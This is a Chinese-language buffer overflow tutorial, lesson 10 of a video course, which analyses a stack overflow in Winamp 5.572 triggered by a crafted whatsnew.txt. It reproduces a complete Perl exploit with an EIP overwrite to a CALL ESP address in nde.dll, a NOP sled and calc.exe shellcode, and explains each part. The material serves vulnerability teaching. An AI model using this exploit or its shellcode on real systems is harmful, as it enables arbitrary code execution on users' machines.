缓冲区溢出分析第10课:Winamp缓冲区溢出研究

《缓冲区溢出分析》这一系列的内容是我为“i春秋”()所录制的同名视频课程的讲稿汇总。每次我都是在写完课程的文档后,再依据文档内容进行课程的讲解。而本系列的内容也是从零开始,来给大家由浅入深地进行缓冲区溢出漏洞的讲解。整个课程是理论与实践相结合,每讲完几个基础理论后,都会配以实际的软件中的漏洞进行分析,以帮助大家更好地理解漏洞的原理。有兴趣的朋友可以结合本文与配套视频进行学习。前言

Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代后期问世。与现在音乐播放软件行业百家争鸣的情况不同,当时可以说Winamp就是听音乐的唯一选择了,相信那个时代的电脑玩家是深有体会的。而时至今日,依然有一批忠实的Winamp粉丝还在坚守着这块阵地,这也就说明了这款播放器依旧是有很强的生命力。

但是,这款软件的漏洞也是挺多的,五花八门,涵盖了很多方面。而我们这次所讨论的就是这款软件在读取whatsnew.txt,也就是更新历史文件时出现的缓冲区溢出漏洞。

漏洞重现

正常的whatsnew.txt文件位于Winamp文件夹中,保存的是软件的更新历史信息。我们为了重现漏洞,需要将特殊构造的whatsnew.txt覆盖掉原始的txt文件。然后打开Winamp,在菜单栏的HELP中选择“About Winamp”:

图1

在弹出的对话框中选择“Version history”:

图2

于是就触发了漏洞。但是按照说明,利用网上找到的这个whatsnew.txt文件是可以打开计算器程序的,但是我在实际测试的时候,有时可以打开,有时却不行。其实这很正常,网上所找到的很多的漏洞利用的文件本身往往是存在着各种各样的问题的,因此我们在这里有必要亲自动手来调试一下,弄清楚这个txt文件的漏洞利用原理。

漏洞利用代码分析 既然我们已经触发了漏洞,那么我们可以进一步分析一下漏洞出现的原因。查看一下它的POC代码,是利用Perl语言编写的:my $version = "Winamp 5.572"; my $junk = "\x41" x 540; my $eip = "\xad\x86\x0e\x07"; # overwrite EIP – 070E86AD FFD4 CALL ESP nde.dll my $nop = "\x90" x 100; my $shellcode = # windows/exec cmd=calc.exe "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49". "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x47". "\x58\x30\x42\x31\x50\x42\x41\x6b\x42\x41\x57\x42\x32\x42\x41\x32". "\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x78\x69\x6b\x4c\x6a". "\x48\x53\x74\x67\x70\x67\x70\x75\x50\x4e\x6b\x53\x75\x65\x6c\x6e". "\x6b\x51\x6c\x46\x65\x70\x78\x43\x31\x68\x6f\x4e\x6b\x30\x4f\x54". "\x58\x6e\x6b\x73\x6f\x57\x50\x67\x71\x58\x6b\x77\x39\x4c\x4b\x64". "\x74\x6c\x4b\x57\x71\x5a\x4e\x76\x51\x49\x50\x6e\x79\x6e\x4c\x4f". "\x74\x4b\x70\x70\x74\x37\x77\x69\x51\x48\x4a\x64\x4d\x43\x31\x4f". "\x32\x7a\x4b\x48\x74\x55\x6b\x72\x74\x34\x64\x77\x74\x70\x75\x4d". "\x35\x6c\x4b\x71\x4f\x75\x74\x36\x61\x48\x6b\x41\x76\x4c\x4b\x44". "\x4c\x70\x4b\x4e\x6b\x63\x6f\x55\x4c\x33\x31\x68\x6b\x4e\x6b\x35". "\x4c\x4e\x6b\x34\x41\x6a\x4b\x6c\x49\x33\x6c\x35\x74\x64\x44\x4a". "\x63\x34\x71\x4b\x70\x63\x54\x6e\x6b\x71\x50\x76\x50\x4f\x75\x4b". "\x70\x72\x58\x74\x4c\x4c\x4b\x77\x30\x76\x6c\x4c\x4b\x44\x30\x57". "\x6c\x6c\x6d\x6e\x6b\x75\x38\x54\x48\x58\x6b\x73\x39\x6e\x6b\x4b". "\x30\x4e\x50\x37\x70\x67\x70\x37\x70\x6c\x4b\x62\x48\x45\x6c\x63". "\x6f\x35\x61\x39\x66\x35\x30\x50\x56\x4d\x59\x48\x78\x6e\x63\x59". "\x50\x43\x4b\x66\x30\x43\x58\x68\x70\x6f\x7a\x43\x34\x33\x6f\x73". "\x58\x4f\x68\x6b\x4e\x6d\x5a\x46\x6e\x72\x77\x6b\x4f\x78\x67\x63". "\x53\x62\x41\x30\x6c\x55\x33\x64\x6e\x42\x45\x70\x78\x32\x45\x33". "\x30\x47"; open (myfile,'>> whatsnew.txt'); print myfile $version.$junk.$eip.$nop.$shellcode; print "[+] whatsnew.txt written.\n"; print "[ ] Now copy it to your winamp folder…\n"; print "[ ] Run winamp and hit [About Winamp]->[Version History]\n";

首先看一下倒数第四条语句,它其实是漏洞利用的代码的格式,一共是五块内容,即version+junk+eip+nop+shellcode。其中的version是当前软件的版本,这里是5.572版;junk是一段填充代码,这里是540个0x41,也就是大写字母A,,填充的作用就是为了接下来的返回地址的覆盖;eip则是我们将要覆盖的返回地址,这里是0x070e86ad;nop位置是100个0x90;最后就是ShellCode代码了。

漏洞的调试含泪播种的人一定能含笑收获。

缓冲区溢出分析第10课:Winamp缓冲区溢出研究

相关文章:

你感兴趣的文章:

标签云: